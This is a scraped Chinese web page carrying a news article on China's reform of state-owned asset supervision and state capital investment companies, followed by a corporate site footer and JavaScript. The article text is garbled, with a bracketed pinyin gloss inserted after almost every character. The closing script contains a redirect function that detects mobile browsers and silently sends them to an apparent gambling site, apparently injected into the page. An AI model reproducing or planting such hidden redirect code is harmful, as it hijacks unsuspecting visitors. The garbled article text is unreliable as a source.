  第一,完善政(zheng)府(fu)的(de)国(guo)(guo)资(zi)(zi)监(jian)(jian)管(guan)(guan)职(zhi)能。以(yi)管(guan)(guan)资(zi)(zi)本为主完善国(guo)(guo)有资(zi)(zi)产监(jian)(jian)管(guan)(guan)体制(zhi),必须正确处理好政(zheng)府(fu)与(yu)市(shi)场的(de)关系,坚持市(shi)场化改革方向,以(yi)提高国(guo)(guo)有资(zi)(zi)本的(de)集中度和(he)配置效率为核心,以(yi)激发企业活力(li)和(he)市(shi)场竞(jing)争力(li)为着力(li)点(dian),加(jia)快国(guo)(guo)有资(zi)(zi)产监(jian)(jian)管(guan)(guan)职(zhi)能与(yu)企业出资(zi)(zi)人职(zhi)能分(fen)(fen)离,建(jian)(jian)立“2+X”的(de)国(guo)(guo)有资(zi)(zi)本监(jian)(jian)管(guan)(guan)体制(zhi),加(jia)强政(zheng)府(fu)国(guo)(guo)资(zi)(zi)部(bu)门和(he)财(cai)政(zheng)部(bu)门的(de)监(jian)(jian)管(guan)(guan)职(zhi)能,建(jian)(jian)立若(ruo)干(gan)专(zhuan)司(si)国(guo)(guo)有资(zi)(zi)本出资(zi)(zi)人职(zhi)能的(de)国(guo)(guo)有资(zi)(zi)本投资(zi)(zi)运营公(gong)司(si),进(jin)一步(bu)推(tui)进(jin)政(zheng)企分(fen)(fen)开、政(zheng)资(zi)(zi)分(fen)(fen)开、所有权与(yu)经营权相分(fen)(fen)离。

  国(guo)(guo)务院代表国(guo)(guo)家行(xing)使国(guo)(guo)有(you)(you)资(zi)(zi)(zi)(zi)(zi)产所有(you)(you)权(quan),负责(ze)监(jian)督(du)指导国(guo)(guo)资(zi)(zi)(zi)(zi)(zi)监(jian)管(guan)部(bu)(bu)门(men)和财(cai)政部(bu)(bu)门(men)依法(fa)履行(xing)国(guo)(guo)有(you)(you)资(zi)(zi)(zi)(zi)(zi)产监(jian)管(guan)管(guan)理职能,审核国(guo)(guo)有(you)(you)资(zi)(zi)(zi)(zi)(zi)本(ben)(ben)投(tou)(tou)资(zi)(zi)(zi)(zi)(zi)运(yun)营(ying)规划、国(guo)(guo)有(you)(you)资(zi)(zi)(zi)(zi)(zi)本(ben)(ben)投(tou)(tou)资(zi)(zi)(zi)(zi)(zi)经营(ying)预算(suan)(suan),授权(quan)国(guo)(guo)有(you)(you)资(zi)(zi)(zi)(zi)(zi)本(ben)(ben)投(tou)(tou)资(zi)(zi)(zi)(zi)(zi)运(yun)营(ying)公(gong)司(si)(si)履行(xing)出资(zi)(zi)(zi)(zi)(zi)人(ren)代表职责(ze),任(ren)免国(guo)(guo)有(you)(you)资(zi)(zi)(zi)(zi)(zi)本(ben)(ben)投(tou)(tou)资(zi)(zi)(zi)(zi)(zi)运(yun)营(ying)公(gong)司(si)(si)主要负责(ze)人(ren),考核国(guo)(guo)资(zi)(zi)(zi)(zi)(zi)监(jian)管(guan)部(bu)(bu)门(men)、国(guo)(guo)有(you)(you)资(zi)(zi)(zi)(zi)(zi)本(ben)(ben)投(tou)(tou)资(zi)(zi)(zi)(zi)(zi)运(yun)营(ying)公(gong)司(si)(si)及(ji)其主要负责(ze)人(ren)经营(ying)业绩(ji),定期向全(quan)国(guo)(guo)人(ren)大报告国(guo)(guo)有(you)(you)资(zi)(zi)(zi)(zi)(zi)本(ben)(ben)投(tou)(tou)资(zi)(zi)(zi)(zi)(zi)运(yun)营(ying)和国(guo)(guo)有(you)(you)资(zi)(zi)(zi)(zi)(zi)本(ben)(ben)经营(ying)预算(suan)(suan)执行(xing)情况。

  财(cai)政部门负责国(guo)有(you)(you)(you)资(zi)本(ben)(ben)预算(suan)(suan)政策、预算(suan)(suan)编(bian)制和(he)预算(suan)(suan)信息(xi)的公(gong)开,优化(hua)国(guo)有(you)(you)(you)资(zi)本(ben)(ben)收益分(fen)配和(he)投资(zi)结构(gou),并(bing)报国(guo)务(wu)(wu)院和(he)人(ren)大审(shen)批,指(zhi)导(dao)国(guo)有(you)(you)(you)资(zi)本(ben)(ben)投资(zi)运营(ying)公(gong)司编(bian)制国(guo)有(you)(you)(you)资(zi)本(ben)(ben)经营(ying)预算(suan)(suan),监督预算(suan)(suan)实施,定(ding)期(qi)对国(guo)有(you)(you)(you)资(zi)本(ben)(ben)投资(zi)运营(ying)公(gong)司资(zi)本(ben)(ben)预算(suan)(suan)执行情(qing)况(kuang)进行专项审(shen)计,定(ding)期(qi)向国(guo)务(wu)(wu)院和(he)全(quan)国(guo)人(ren)大报告国(guo)有(you)(you)(you)资(zi)本(ben)(ben)经营(ying)预算(suan)(suan)执行情(qing)况(kuang),确保(bao)国(guo)有(you)(you)(you)资(zi)本(ben)(ben)经营(ying)预算(suan)(suan)公(gong)开、透明。

  国(guo)资(zi)(zi)(zi)(zi)(zi)(zi)监(jian)(jian)管(guan)部门(men)专职(zhi)(zhi)履行(xing)(xing)国(guo)有资(zi)(zi)(zi)(zi)(zi)(zi)本(ben)(ben)监(jian)(jian)管(guan)职(zhi)(zhi)能(neng),负责(ze)起草与制(zhi)(zhi)定(ding)(ding)国(guo)有资(zi)(zi)(zi)(zi)(zi)(zi)产监(jian)(jian)管(guan)相(xiang)关法律、法规(gui)(gui)和(he)制(zhi)(zhi)度,并进行(xing)(xing)相(xiang)应监(jian)(jian)管(guan),制(zhi)(zhi)定(ding)(ding)国(guo)有资(zi)(zi)(zi)(zi)(zi)(zi)本(ben)(ben)投资(zi)(zi)(zi)(zi)(zi)(zi)运(yun)行(xing)(xing)规(gui)(gui)划(hua)(hua),明确国(guo)有资(zi)(zi)(zi)(zi)(zi)(zi)本(ben)(ben)投向(xiang)和(he)投资(zi)(zi)(zi)(zi)(zi)(zi)运(yun)营(ying)(ying)(ying)目(mu)标,报(bao)国(guo)务院(yuan)批准并组织落实(shi),参与编制(zhi)(zhi)国(guo)有资(zi)(zi)(zi)(zi)(zi)(zi)本(ben)(ben)经(jing)(jing)营(ying)(ying)(ying)预(yu)算(suan),准确界定(ding)(ding)不同(tong)国(guo)有企业功能(neng),指导国(guo)有资(zi)(zi)(zi)(zi)(zi)(zi)本(ben)(ben)投资(zi)(zi)(zi)(zi)(zi)(zi)运(yun)营(ying)(ying)(ying)公(gong)司编制(zhi)(zhi)所(suo)管(guan)国(guo)有资(zi)(zi)(zi)(zi)(zi)(zi)本(ben)(ben)投资(zi)(zi)(zi)(zi)(zi)(zi)运(yun)营(ying)(ying)(ying)规(gui)(gui)划(hua)(hua),监(jian)(jian)督投资(zi)(zi)(zi)(zi)(zi)(zi)运(yun)营(ying)(ying)(ying)公(gong)司落实(shi)规(gui)(gui)划(hua)(hua),定(ding)(ding)期向(xiang)国(guo)务院(yuan)报(bao)告(gao)国(guo)有资(zi)(zi)(zi)(zi)(zi)(zi)本(ben)(ben)投资(zi)(zi)(zi)(zi)(zi)(zi)运(yun)营(ying)(ying)(ying)情(qing)况,协助(zhu)国(guo)务院(yuan)考(kao)核国(guo)有资(zi)(zi)(zi)(zi)(zi)(zi)本(ben)(ben)投资(zi)(zi)(zi)(zi)(zi)(zi)运(yun)营(ying)(ying)(ying)公(gong)司及其(qi)主要负责(ze)人经(jing)(jing)营(ying)(ying)(ying)业绩,确保国(guo)有资(zi)(zi)(zi)(zi)(zi)(zi)本(ben)(ben)投资(zi)(zi)(zi)(zi)(zi)(zi)经(jing)(jing)营(ying)(ying)(ying)服(fu)务于(yu)国(guo)家战略目(mu)标。

  第二,构建国(guo)(guo)(guo)有(you)资(zi)(zi)(zi)(zi)(zi)(zi)本(ben)(ben)(ben)投(tou)资(zi)(zi)(zi)(zi)(zi)(zi)运(yun)(yun)营(ying)平(ping)台。通过设立国(guo)(guo)(guo)有(you)资(zi)(zi)(zi)(zi)(zi)(zi)本(ben)(ben)(ben)投(tou)资(zi)(zi)(zi)(zi)(zi)(zi)或运(yun)(yun)营(ying)公(gong)(gong)司,搭建国(guo)(guo)(guo)有(you)资(zi)(zi)(zi)(zi)(zi)(zi)本(ben)(ben)(ben)投(tou)资(zi)(zi)(zi)(zi)(zi)(zi)运(yun)(yun)营(ying)平(ping)台和(he)经营(ying)管(guan)理平(ping)台,确(que)保实现(xian)国(guo)(guo)(guo)有(you)资(zi)(zi)(zi)(zi)(zi)(zi)本(ben)(ben)(ben)服务(wu)于国(guo)(guo)(guo)家战略的投(tou)资(zi)(zi)(zi)(zi)(zi)(zi)运(yun)(yun)营(ying)目(mu)标(biao)。国(guo)(guo)(guo)有(you)资(zi)(zi)(zi)(zi)(zi)(zi)本(ben)(ben)(ben)投(tou)资(zi)(zi)(zi)(zi)(zi)(zi)公(gong)(gong)司、运(yun)(yun)营(ying)公(gong)(gong)司可通过国(guo)(guo)(guo)有(you)资(zi)(zi)(zi)(zi)(zi)(zi)本(ben)(ben)(ben)布局结构调整、国(guo)(guo)(guo)有(you)企(qi)业整合(he)重组(zu)(zu)来(lai)组(zu)(zu)建。代表各级政府(fu)履行(xing)出资(zi)(zi)(zi)(zi)(zi)(zi)人(ren)职(zhi)责的国(guo)(guo)(guo)有(you)资(zi)(zi)(zi)(zi)(zi)(zi)产监(jian)督管(guan)理委员会可对其行(xing)使出资(zi)(zi)(zi)(zi)(zi)(zi)人(ren)职(zhi)责的一级集团公(gong)(gong)司及其二级企(qi)业依据功能类别进行(xing)整合(he)重组(zu)(zu),组(zu)(zu)建若(ruo)干个履行(xing)管(guan)资(zi)(zi)(zi)(zi)(zi)(zi)本(ben)(ben)(ben)职(zhi)能并专门(men)从事投(tou)资(zi)(zi)(zi)(zi)(zi)(zi)和(he)资(zi)(zi)(zi)(zi)(zi)(zi)本(ben)(ben)(ben)运(yun)(yun)营(ying)的投(tou)资(zi)(zi)(zi)(zi)(zi)(zi)平(ping)台。

  第三,充分保障企业经营自(zi)主权。推动政府(fu)经济社会管(guan)理(li)职(zhi)(zhi)(zhi)能(neng)与国(guo)有资(zi)产监(jian)管(guan)职(zhi)(zhi)(zhi)能(neng)分开(kai)。以管(guan)资(zi)本为主完善国(guo)有资(zi)产管(guan)理(li)体制、加强国(guo)有资(zi)产监(jian)管(guan),必须(xu)积极转变政府(fu)职(zhi)(zhi)(zhi)能(neng)。

  推动国(guo)(guo)(guo)有(you)(you)(you)资(zi)(zi)(zi)产(chan)监(jian)管(guan)(guan)职能(neng)与企业出资(zi)(zi)(zi)人(ren)职能(neng)分开。以管(guan)(guan)资(zi)(zi)(zi)本(ben)为主加强(qiang)国(guo)(guo)(guo)有(you)(you)(you)资(zi)(zi)(zi)产(chan)监(jian)管(guan)(guan),就(jiu)要逐步把国(guo)(guo)(guo)有(you)(you)(you)资(zi)(zi)(zi)产(chan)监(jian)管(guan)(guan)职能(neng)与国(guo)(guo)(guo)有(you)(you)(you)企业出资(zi)(zi)(zi)人(ren)职能(neng)分开,国(guo)(guo)(guo)有(you)(you)(you)资(zi)(zi)(zi)产(chan)监(jian)管(guan)(guan)机构专注(zhu)于(yu)国(guo)(guo)(guo)有(you)(you)(you)资(zi)(zi)(zi)本(ben)经营(ying)战略制定(ding)、国(guo)(guo)(guo)有(you)(you)(you)资(zi)(zi)(zi)本(ben)出资(zi)(zi)(zi)人(ren)监(jian)管(guan)(guan)和国(guo)(guo)(guo)有(you)(you)(you)资(zi)(zi)(zi)本(ben)运(yun)营(ying)绩效考核,确保国(guo)(guo)(guo)有(you)(you)(you)资(zi)(zi)(zi)本(ben)投(tou)资(zi)(zi)(zi)运(yun)营(ying)服务于(yu)国(guo)(guo)(guo)家战略目标。而国(guo)(guo)(guo)有(you)(you)(you)企业出资(zi)(zi)(zi)人(ren)职能(neng)包括资(zi)(zi)(zi)产(chan)收益(yi)、重大决策和选(xuan)择管(guan)(guan)理者等,则应完全由(you)授权的投(tou)资(zi)(zi)(zi)机构、专业化的资(zi)(zi)(zi)本(ben)投(tou)资(zi)(zi)(zi)运(yun)营(ying)公司来承担。

  推动企(qi)(qi)(qi)业(ye)(ye)(ye)出(chu)(chu)(chu)资(zi)(zi)(zi)(zi)人(ren)职(zhi)能与企(qi)(qi)(qi)业(ye)(ye)(ye)经(jing)营(ying)管(guan)(guan)理(li)职(zhi)能分(fen)(fen)开。国有(you)(you)(you)资(zi)(zi)(zi)(zi)本(ben)投资(zi)(zi)(zi)(zi)运(yun)营(ying)公(gong)司(si)要准确把握出(chu)(chu)(chu)资(zi)(zi)(zi)(zi)人(ren)的(de)职(zhi)能定位,抓住产权(quan),下放事(shi)(shi)权(quan),依法(fa)保(bao)障国有(you)(you)(you)资(zi)(zi)(zi)(zi)本(ben)出(chu)(chu)(chu)资(zi)(zi)(zi)(zi)企(qi)(qi)(qi)业(ye)(ye)(ye)的(de)法(fa)人(ren)主(zhu)体(ti)地位,尊重(zhong)企(qi)(qi)(qi)业(ye)(ye)(ye)自主(zhu)决策(ce)权(quan),遵循企(qi)(qi)(qi)业(ye)(ye)(ye)发展规律,以资(zi)(zi)(zi)(zi)本(ben)管(guan)(guan)理(li)为纽带(dai),加强企(qi)(qi)(qi)业(ye)(ye)(ye)顶层设计,加强重(zhong)大事(shi)(shi)项管(guan)(guan)理(li),重(zhong)点管(guan)(guan)好战略规划,优化资(zi)(zi)(zi)(zi)源配置,完善(shan)资(zi)(zi)(zi)(zi)本(ben)预算和(he)公(gong)司(si)治理(li)。要围绕“资(zi)(zi)(zi)(zi)本(ben)、资(zi)(zi)(zi)(zi)产、资(zi)(zi)(zi)(zi)金”三个重(zhong)点,加强国有(you)(you)(you)资(zi)(zi)(zi)(zi)本(ben)出(chu)(chu)(chu)资(zi)(zi)(zi)(zi)企(qi)(qi)(qi)业(ye)(ye)(ye)监管(guan)(guan),改善(shan)国有(you)(you)(you)资(zi)(zi)(zi)(zi)本(ben)的(de)分(fen)(fen)布(bu)结构和(he)质量效益,实(shi)现国有(you)(you)(you)资(zi)(zi)(zi)(zi)本(ben)的(de)保(bao)值增值。(来源:经(jing)济(ji)参考报)


网站地图 | 友情链接 | 法律声明 | 联系我们 信访邮箱 帮助中心

电话:+86(10)88083699 传真:+86(10)88084266 E-MAIL:cscecfc@chatnur.com
地址:北京市海淀区三里河路15号中建大厦A座15层 邮编:100037 ICP许可证编号:京ICP备12023645号
推荐显示器分辨率1024*768 IE8.0以上浏览器

var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();